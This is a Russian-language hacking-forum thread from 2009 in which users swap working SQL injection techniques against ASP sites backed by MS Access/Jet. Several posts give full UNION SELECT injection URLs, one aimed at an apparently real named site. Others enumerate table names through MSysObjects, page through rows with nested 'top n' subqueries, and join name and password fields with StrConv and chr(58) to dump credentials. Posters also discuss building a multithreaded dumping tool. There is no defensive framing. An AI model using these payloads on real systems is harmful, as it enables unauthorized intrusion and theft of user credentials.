Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю

09.11.2009, 08:13
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами:
10340793
Репутация:
66
|
|
пишу тут потому что в тему
можеть кто знает в Jet database error
на запрос:
выдает:
Код:
Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '6' as a valid field name or expression.
а на:
=-1+order+by+4%00
страница открывается, но на нем тоже
Код:
Latest News
Microsoft JET Database Engine error '80040e14'
The Microsoft Jet database engine does not recognize '4' as a valid field name or expression.
/intranet/inx/ecom_engine.asp, line 2462
на запрос:
=-1+union+select+1,2,3,4%00
Код:
Microsoft JET Database Engine error '80004005'
Query input must contain at least one table or query.
/intranet/inx/ecom_engine.asp, line 2462
как обойти? Правда ни одного названия таблиц не знаю.
Может есть новые статьи по Jet database
|
|
|

11.11.2009, 02:59
|
|
Познающий
Регистрация: 23.04.2008
Сообщений: 63
С нами:
9500746
Репутация:
13
|
|
Попробуй заменить коментарий на -- или просто убрать его.
|
|
|

13.11.2009, 21:19
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от pampom
Попробуй заменить коментарий на -- или просто убрать его.
А при чём тут комментарий? Если у него order с ним работает, то и union+select будет работать нормально.
YuNi|[c Нужна таблица:
Query input must contain at least one table or query.
|
|
|

19.11.2009, 14:08
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
У меня вопрос к автору темы:
www.site.com/view.asp?id=-1+union+select+top+1+start+at+2+1,name,3,4+from+MS ysObjects+where+MSysObjects.Type=6
по поводу
start+at+2
- откуда вообще эта информация? Что это за start+at? Не в одних офф. документах - долго искал - такого синтаксиса select не обнаружено, на реальной скуле тоже не работает, как только не пробовал
т.е. первая запись цепляется без проблем:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users
а вот вторая следуя инструкциям из первого поста:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+start+at+2+1,id,3,4,5,6,7+from+users
выплевывает ошибку:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'start at 2 1'.
Просьба разъяснить момент, если он может разъясниться в принципе, после прочтения вот этой ссылки, например:
http://office.microsoft.com/ru-ru/access/HA012314971049.aspx
по логике получается возможным перебор тогда только таким образом (универсально, т.к. я допускаю, что у меня какая-то нестандартная скуля, хотя очень сильно сомневаюсь):
цепляем первую запись:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users
выдаст к примеру 34, тогда запрос на выборку следующей записи будет такой:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>34
выдало к примеру 39, следующая так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id,3,4,5,6,7+from+users+where+id>39
Хотелось бы разобраться в данном моменте
|
|
|

19.11.2009, 15:37
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
Как вариант можно использовать такую же конструкцию, как в mssql
union+select+top+1+colname+from+tablename+where +colname+not+in+(select+top+n+colname+from+tablename)
Пример:
http://www.pcci.org.za/default.asp?id=-1+union+select+top+1+1,name+from+msysobjects+where +name+not+in+(select+top+47+name+from+msysobjects)
|
|
|

19.11.2009, 15:53
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
2 ElteRUS:
Вот это действительно офигенный вариант, т.к. именно этот вариант позволит написать многопоточный брутер даже не зная названия autoincriment поля (по умолчанию ID обычно). Просто блестящая идея, риспект
PS: И строка запроса по длине не будет раздуваться, т.к. меняется только число топов, и для конкатеции подойдет - гениальное решение, просто нет слов!
|
|
|

19.11.2009, 16:12
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Небольшое дополнение к статье
CONCAT in Ms Access
пример, нужно выцепить NAME и PASSWORD из таблы USERS к примеру в одном запросе, делается так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
выведет к примеру admin : qwerty
НО, если мы захотим также выцепить ID к примеру, то по идее должны составить такой запрос:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,id%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вместо ожидаемого 1 : admin : qwerty
мы увидим примерно следующее:
Data type mismatch in criteria expression
т.к. поле ID - чисто числовое, а числовые поля конкатировать с помощью %2b в ms access не получиться, таким образом можно конкатировать только поля с типом text (ну или подобным)
Но есть выход, т.к. в ms access есть функция конвертации любого значения в text type, это функция StrConv(var,[option])
где var - то, что конвертируем, а option - как конвертируем
option:
vbUpperCase 1 Converts the string to all uppercase.
vbLowerCase 2 Converts the string to all lowercase.
vbProperCase 3 Converts the first letter to every word to uppercase. All other characters are left as lowercase. This option is similar to the InitCap function in Oracle.
vbUnicode 64 Converts the string to Unicode.
vbFromUnicode 128 Converts the string from Unicode to the default code page of the system.
для нас совершенно подойдет просто 1 в данном случае, т.е. конечный правильный запрос будет выглядеть так:
Код:
http://site.com/lala.asp?ID=-1+union+select+top+1+1,StrConv(id,1)%2bchr(58)name%2bchr(58)%2bpassword,3,4,5,6,7+from+users
и вот тогда мы получим желаемый результат:
1 : admin : qwerty
Последний раз редактировалось Pashkela; 19.11.2009 в 16:26..
|
|
|

19.11.2009, 16:51
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами:
10109126
Репутация:
1980
|
|
Сообщение от Pashkela
2 ElteRUS:
Вот это действительно офигенный вариант, т.к. именно этот вариант позволит написать многопоточный брутер даже не зная названия autoincriment поля (по умолчанию ID обычно). Просто блестящая идея, риспект
PS: И строка запроса по длине не будет раздуваться, т.к. меняется только число топов, и для конкатеции подойдет - гениальное решение, просто нет слов!
Интересно, каким образом ты реализовал дампер для mssql, если там алгоритм точно такой же, а ты впервые об этом слышишь.
|
|
|

19.11.2009, 16:55
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
там просто алгоритм другой чуть-чуть у меня:
select+table_name+from+information_schema.tables+w here+table_name+not+in+(table1,table2,table3...... .....)
т.е. не на числе топов организовано
а дамп непосредственно данных ( вообще-то про что тут речь и идет - не название таблиц/колонок, а уже данные) осуществляется по autoincriment полю, которое указывается вручную, с предварительным подсчетом данных в таблице
Вообще, если есть вопросы по тулзе, есть отдельная тема для этого здесь
И потом тут речь идет об ms access, как бы проверить, что такой метод работает и тут можно было только экспериментальным путем, плюс в статье автора нет ни слова про такой метод, отсюда и неподдельное ура и риспект 2 ElteRUS
Но суть понял потому побег переделывать mssql
Последний раз редактировалось Pashkela; 19.11.2009 в 18:23..
|
|
|

19.11.2009, 18:30
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
вот посмотри как я сделал это на мускуле, так как просто нет под рукой Tsql:
Код:
mysql> select * from test;
+------+
| id |
+------+
| pash |
| ke |
| la |
+------+
3 rows in set (0,00 sec)
mysql> select (select id from (select id from test order by id asc limit 1) as a order by id desc limit 1);
+----------------------------------------------------------------------------------------------+
| (select id from (select id from test order by id asc limit 1) as a order by id desc limit 1) |
+----------------------------------------------------------------------------------------------+
| ke |
+----------------------------------------------------------------------------------------------+
1 row in set (0,00 sec)
mysql> select (select id from (select id from test order by id asc limit 2) as a order by id desc limit 1);
+----------------------------------------------------------------------------------------------+
| (select id from (select id from test order by id asc limit 2) as a order by id desc limit 1) |
+----------------------------------------------------------------------------------------------+
| la |
+----------------------------------------------------------------------------------------------+
1 row in set (0,00 sec)
это легко переделывается под access,MSsql и Sybase
__________________
Карфаген должен быть разрушен...
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|